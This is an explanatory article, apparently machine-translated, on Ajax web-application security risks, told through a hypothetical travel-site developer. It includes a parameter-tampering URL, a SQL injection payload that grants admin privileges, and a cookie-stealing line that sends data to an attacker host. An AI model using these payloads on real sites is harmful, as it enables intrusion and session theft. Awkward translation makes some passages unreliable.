Ajax security and hidden trouble detailed

Ajax| Security | detailed

Web developers will not notice the passion created by AJAX (asynchronous JavaScript and XML). It is largely thanks to the ability to create smart Web sites like Google suggest or web-based applications like Gmail. However, along with the development of AJAX applications, we found some of its shortcomings, we found that its security vulnerabilities are gradually becoming larger, like slowly put the Ajax-based site into a time bomb.

　　 the benefits of Ajax

In the good times of "web apps" of the year, things were simple. You fill out a form, click the "Submit" button, and the current screen disappears, and after a little while you go to the next page. Today's situation is no longer the case, and what users need is a Web experience that is as fluent, fast, and user-friendly as any desktop application.

Ajax is often collaborated with DHTML (Dynamic HTML), and its smooth execution requires that JavaScript code in Web pages and Web servers be seamlessly communicated in the background. For example, when you start typing in the Google Suggest search box, the Web page starts exchanging data with the server in the background, and then gives you some of the entries you might need. All of this does not require a page refresh or press any button. And that's why apps like Gmail do so well for real-time spell checking.

　 How Ajax works

The complexity of Ajax is beyond the scope of today's elaboration, and is simply described here. The JavaScript code on your page can get in touch with your Web server without relying on the user. The central function of this is the JavaScript XMLHttpRequest object, which can be triggered in the background or asynchronously as a user clicks on a keyboard or clock event (that is, the term asynchronous JavaScript and XML).

If you enter "Ajax" in Google suggest, you will get the same server request as I typed in:

1. Www.google.com/complete/search?hl=en&js=true&qu=aj
2. Www.google.com/complete/search?hl=en&js=true&qu=aja
3. Www.google.com/complete/search?hl=en&js=true&qu=ajax

There is one point in the XML part of the term that can cause misunderstanding, but it doesn't make any sense in this part. It's a name from a JavaScript object, and many Ajax-style applications use XML, an object that can send a request to the server for any transaction. Even the JavaScript code itself can be retrieved and evaluated. Continuing to complete my input "ajax example" will generate the following response from Google's server:

Sendrpcdone (FrameElement, "Ajax example", new Array ("Ajax example", "Ajax Examples"), new Array ("153,000 results", "177,0 Results "), New Array (" "));

This will give you some hints about powerful Ajax, and it has the ability to add new JavaScript code to the browser in the runtime (on the fly). However, the optimized approach seems to constrain the XML protocol. For example, Google produces the following:

Ajax example
153,000
Ajax examples
177,000

Obviously, you can interpret the XML data in a suitable form, but thanks to JavaScript, it does manage XML objects very well under some very typical constraints and a lot of annoying IE bug environments.

To help you understand some of the Ajax problems, I'm here to introduce you to a hypothetical travel company-"time-Advanced travel company". Driven by Ajax bugs, their main web developer, Max Uptime, decided to mix Ajax in order to create an application that he was at the forefront of the times.

Problems with Ajax

More than half of the Ajax security risks come from vulnerabilities hidden in the server. Obviously, a good design with secure coding technology can be a great help for more secure Ajax, and we need to thank Max for being familiar with the open Web Application Security Program-------------application OWASP) List of the top ten most serious Web application vulnerabilities (www.owasp.org). Unfortunately, when Max realizes Ajax, he still has to face a number of additional factors:

1. New technology: If Max wants to connect his site to an SQL database, he has found millions of examples in Google. Ajax technology, no matter how young the technology is, still appears relatively early in the procurement cycle, although only a few good examples appear on the network. In order to solve some difficult and unnecessary complex problems, this requires developers like Max to develop themselves. Max also had to write the server-side and client code to create his own less-certain protocol (especially for the server response). No matter how good these agreements are, they will appear on the page in time.

2. Non-traditional Design: Ajax is a little different from the traditional design approach, as such applications are half-client and half-service-side. In Max's case, he is the only developer, so he can encode both the server and the client. Developing in two different languages at the same time, especially at an early stage, will produce some initial coding errors because he is going to jump back and forth at both ends, which is good for one end, but may not work at the other end. Even if Max has a large development team, the security coding responsibility may be problematic when the code is transferred between the server and the client development team.

3. Too many scripting languages: Max has decided to build the world's best travel registration tool with his own ingenuity. You start by typing in your current location (by postal code, phone number, or GPS, etc.), and an AJAX request is sent immediately to determine your exact location. From then on, the screen will be filled with all the ways you can travel, even before you decide where you want to go, when you plan to start and who you intend to go with. The cells and controls on this screen are full of Ajax-driven, and server-side and client script may require more than 20 different server calls. You can imagine a very small individual server program, such as Findairportsbylocation.aspx or determinemaxbaggageallowancebyairline.php.
　　
Obviously, without Max's careful planning (such as creating versatile "overloaded" JavaScript functions and server scripts), he would need to create more than 40 separate parts per design. More programming means more bugs and bugs, which means more time to write, manage, test, and update code. Not only that, because a lot of this script is applied to the client's JavaScript code, and they tend to become forgetful in formal program testing.

4. Determine that small portions of Ajax do not cause harm: This site is a planned trip site, but Max is thinking that it will immediately provide you with a satellite view of the exact location and provide you with the weather conditions you want to reach your destination. One of the biggest temptations of Ajax seems to be that until the last minute it's still doing other things, just like a commentator was there to explain, Ajax used for Ajax. When Max starts experimenting with his new ideas, he will gradually try to add more new features, completely ignoring the need for testing.
5. Unsecured communication: Each AJAX call may return only a small amount of data to the client, but the data is private and confidential. Max can write a handy tool to digitally verify your credit card number, but what if you use plain text instead of over SSL to send data? This is an obvious question, but it's easy to ignore SSL when there are a lot of routines that need to be considered, especially when the other 99% of the data on the screen is not really confidential.

6. Server-side access control: using JavaScript programs to trigger Ajax often hides some obvious coding errors, and server-side access control is an example. Suppose Max wants to refer to a detailed destination of your last visit to provide you with the hotel you like, and he may be as follows:
Showprevioushotels.aspx?userid=12345&destination=uk

This is certainly very good, but what if a malicious user changed the URL to look like this:
showprevioushotels.aspx?userid=12346&destination=%

Will they get other people's favorite hotels? (Note:% is a wildcard in SQL statements.) There is no doubt that this is a harmless example, but Max should use a session, cookie, or other symbolic form to ensure that the data is available and can only be sent to the correct user. They may just be a small part of the data, but they may be the most important part.

7. Server-side validation: There are actually two problems here. First, Ajax controls are often used to validate input before the user finally submits it to the server. This paralyzed Max, giving Max a false sense of security because he built a function called alloweddestinations.php, which determines the correct destination that they can reach based on the user ID.

Since this is a server-side check, when the page is finally submitted, he does not have to worry about checking on the server again, here we assume that no malicious user will secretly destroy the response from alloweddestinations.php or destroy the last request to the server.

Ajax controls can validate user input more carefully than users do, but they often do the final validation on the server.

The second problem with Ajax validation is that the control itself is affected by the validation vulnerabilities. Again, the URL is usually hidden, so it's often forgotten. For example, perhaps I can use SQL injection to attack just the script, as follows:
Showprevioushostels.aspx?userid= '; Update users set type= ' admin ' where userid=12345;--

Will let me have the privileges of the system administrator when I log in. Of course, how to get those table names (tables) and field names is beyond the scope of this article, but you already know that, don't you?

8. Client-Side validation: We already know that in the Google suggest example just now, it is possible to dynamically create and execute JavaScript functions by simply evaluating the response of the server. Without any form of validation (if this is hard to guarantee reliability and fluency at the client), the client will simply perform what the server needs it to do.

That way, because the real code is never going to be visible to an average user (that is, you're not able to "view the source file"), it potentially opens up a complete attack direction for malicious hackers. This attack will be difficult to detect if the server's response continues to be disruptive (this may be the case on the Web server itself or in the data transfer process).

Max uses the following response to update the weather icon on the destination page, which is the eval () function:
Updateweathericon (' cloudy.gif ');

However, a malicious cracker can turn this function into the following form, which makes it more difficult to find this attack:
Updateweathericon (' www.myhackingsite.ru/grab.aspx?c= ' + document.cookies); Updateweathericon (' cloudy.gif ');

We are now able to track each user's session Id/cookie on our own servers.

　　 Summary

There is no doubt that Ajax and Ajax-style technologies are bright avenues to web design. Developers can create real "apps" on the web that they never had before, and use Ajax to be cautious, so that they can secure a Web site.

One of the biggest threats, however, comes from the increasingly complex use of AJAX-enabled client script and server-side scripting. These scripts are hidden from view by technology, making the tests very intuitive, and this new technology also seems to make Web developers forget the basics of good coding. Problems like access control and input validation don't go away, they get more complicated.

5 of the most important Ajax security tips:

In order to be successful, you must start with a good plan. You have to focus your intellect on reducing and simplifying the Ajax invocation, creating a standard response format that follows this protocol everywhere (ideal XML).

Follow the best practices from sites like the open Web Application Security program. This specifically includes access control and input check vulnerability checks, while ensuring that sensitive information uses over SSL rather than using plain text.

Never assume that server-side Ajax can replace final checks on the server for access control or user input checksum checking. Adding AJAX controls will never reduce your verification effort, they can only increase your workload.

Never assume that client-side obfuscation techniques (obfuscation, where JavaScript is difficult to read and decode) can protect your very important business secrets. Using JavaScript is one of the most useless ways to hide programming, and it can also provide benefits to your opponents.

In the end, you have to be very good at leading your development team. Using Ajax sounds very compelling, but you should realize that you need to keep your development team in order to develop version 2, and of course now you should develop a very stable version of 1.